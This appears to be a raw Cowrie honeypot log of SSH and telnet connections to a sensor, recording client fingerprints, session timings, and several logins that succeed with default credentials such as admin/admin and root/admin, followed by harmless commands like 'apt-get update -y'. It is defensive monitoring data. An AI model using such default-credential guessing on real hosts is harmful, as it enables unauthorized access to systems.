{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:00.557331Z","src_ip":"147.135.3.156","session":"077cc2e6b7bc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:00.868313Z","src_ip":"147.135.3.156","session":"077cc2e6b7bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:00.919955Z","src_ip":"147.135.3.156","session":"077cc2e6b7bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":55982,"dst_ip":"159.203.135.109","dst_port":22,"session":"a960986dcd58","protocol":"ssh","message":"New connection: 130.12.180.51:55982 (159.203.135.109:22) [session: a960986dcd58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:01.275913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:01.281659Z","src_ip":"130.12.180.51","session":"a960986dcd58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:01.364942Z","src_ip":"130.12.180.51","session":"a960986dcd58","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:01.624488Z","src_ip":"130.12.180.51","session":"a960986dcd58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:02.180047Z","src_ip":"130.12.180.51","session":"a960986dcd58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41712,"dst_ip":"10.17.0.5","dst_port":23,"session":"34ca8e2bffcb","protocol":"telnet","message":"New connection: 45.58.127.90:41712 (10.17.0.5:23) [session: 34ca8e2bffcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:03.154823Z"}
{"eventid":"cowrie.session.closed","duration":41.71509504318237,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:19.689615Z","src_ip":"45.58.127.90","session":"fc977cf5395d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.54144358634949,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:24.267183Z","src_ip":"45.58.127.90","session":"b69baa902ab7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":33020,"dst_ip":"159.203.135.109","dst_port":23,"session":"74cdb2c8c146","protocol":"telnet","message":"New connection: 147.182.143.59:33020 (159.203.135.109:23) [session: 74cdb2c8c146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:34.218961Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":37264,"dst_ip":"159.203.135.109","dst_port":22,"session":"3679f364416b","protocol":"ssh","message":"New connection: 47.239.15.75:37264 (159.203.135.109:22) [session: 3679f364416b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:37.568538Z"}
{"eventid":"cowrie.session.closed","duration":41.996546506881714,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:45.151266Z","src_ip":"45.58.127.90","session":"34ca8e2bffcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.482717275619507,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:46.701551Z","src_ip":"147.182.143.59","session":"74cdb2c8c146","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55988,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef4d6b92ba69","protocol":"telnet","message":"New connection: 45.58.127.90:55988 (10.17.0.5:23) [session: ef4d6b92ba69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:48.373031Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55994,"dst_ip":"10.17.0.5","dst_port":23,"session":"7596c517b42b","protocol":"telnet","message":"New connection: 45.58.127.90:55994 (10.17.0.5:23) [session: 7596c517b42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:52.097976Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55996,"dst_ip":"10.17.0.5","dst_port":23,"session":"49887884109d","protocol":"telnet","message":"New connection: 45.58.127.90:55996 (10.17.0.5:23) [session: 49887884109d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:53.805055Z"}
{"eventid":"cowrie.session.connect","src_ip":"184.105.139.68","src_port":13254,"dst_ip":"10.17.0.5","dst_port":23,"session":"186cbcd020a1","protocol":"telnet","message":"New connection: 184.105.139.68:13254 (10.17.0.5:23) [session: 186cbcd020a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:54.930155Z"}
{"eventid":"cowrie.session.closed","duration":"17.6","message":"Connection lost after 17.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:55.147848Z","src_ip":"47.239.15.75","session":"3679f364416b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.07240891456604,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:57.002437Z","src_ip":"184.105.139.68","session":"186cbcd020a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":16275,"dst_ip":"10.17.0.5","dst_port":22,"session":"608baa125f66","protocol":"ssh","message":"New connection: 185.71.233.73:16275 (10.17.0.5:22) [session: 608baa125f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:08.389011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:08.396090Z","src_ip":"185.71.233.73","session":"608baa125f66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:08.599120Z","src_ip":"185.71.233.73","session":"608baa125f66","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:09.211673Z","src_ip":"185.71.233.73","session":"608baa125f66","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:09.703550Z","src_ip":"185.71.233.73","session":"608baa125f66","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:09.911687Z","src_ip":"185.71.233.73","session":"608baa125f66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":16294,"dst_ip":"159.203.135.109","dst_port":22,"session":"360987466b81","protocol":"ssh","message":"New connection: 185.71.233.73:16294 (159.203.135.109:22) [session: 360987466b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:10.450609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:10.455268Z","src_ip":"185.71.233.73","session":"360987466b81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:10.670381Z","src_ip":"185.71.233.73","session":"360987466b81","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:11.122231Z","src_ip":"185.71.233.73","session":"608baa125f66","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:11.298029Z","src_ip":"185.71.233.73","session":"360987466b81","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:11.720438Z","src_ip":"185.71.233.73","session":"360987466b81","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:11.917121Z","src_ip":"185.71.233.73","session":"360987466b81","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:13.143920Z","src_ip":"185.71.233.73","session":"360987466b81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40976,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c427a32c050","protocol":"telnet","message":"New connection: 45.58.127.90:40976 (10.17.0.5:23) [session: 6c427a32c050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:17.109326Z"}
{"eventid":"cowrie.session.closed","duration":36.643988370895386,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:25.016741Z","src_ip":"45.58.127.90","session":"ef4d6b92ba69","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:27.151142Z","src_ip":"185.71.233.73","session":"608baa125f66","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:28.166893Z","src_ip":"185.71.233.73","session":"608baa125f66","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:28.170869Z","src_ip":"185.71.233.73","session":"608baa125f66","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:29.153407Z","src_ip":"185.71.233.73","session":"360987466b81","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:30.175346Z","src_ip":"185.71.233.73","session":"360987466b81","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:30.179849Z","src_ip":"185.71.233.73","session":"360987466b81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.502976417541504,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:33.307725Z","src_ip":"45.58.127.90","session":"49887884109d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.57045125961304,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:33.668327Z","src_ip":"45.58.127.90","session":"7596c517b42b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49540,"dst_ip":"10.17.0.5","dst_port":23,"session":"157250774da3","protocol":"telnet","message":"New connection: 45.58.127.90:49540 (10.17.0.5:23) [session: 157250774da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:43.859501Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:44.199778Z","src_ip":"185.71.233.73","session":"608baa125f66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.1","message":"Connection lost after 36.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:44.510481Z","src_ip":"185.71.233.73","session":"608baa125f66","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:46.238217Z","src_ip":"185.71.233.73","session":"360987466b81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.0","message":"Connection lost after 36.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:46.487808Z","src_ip":"185.71.233.73","session":"360987466b81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.90422081947327,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:51.013411Z","src_ip":"45.58.127.90","session":"6c427a32c050","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43146,"dst_ip":"10.17.0.5","dst_port":23,"session":"0085288139c3","protocol":"telnet","message":"New connection: 45.58.127.90:43146 (10.17.0.5:23) [session: 0085288139c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:51.955236Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.13.22.203","src_port":33714,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed141bbacfee","protocol":"ssh","message":"New connection: 1.13.22.203:33714 (159.203.135.109:22) [session: ed141bbacfee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:57.911060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:56:57.916512Z","src_ip":"1.13.22.203","session":"ed141bbacfee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:04.297664Z","src_ip":"1.13.22.203","session":"ed141bbacfee","protocol":"ssh"}
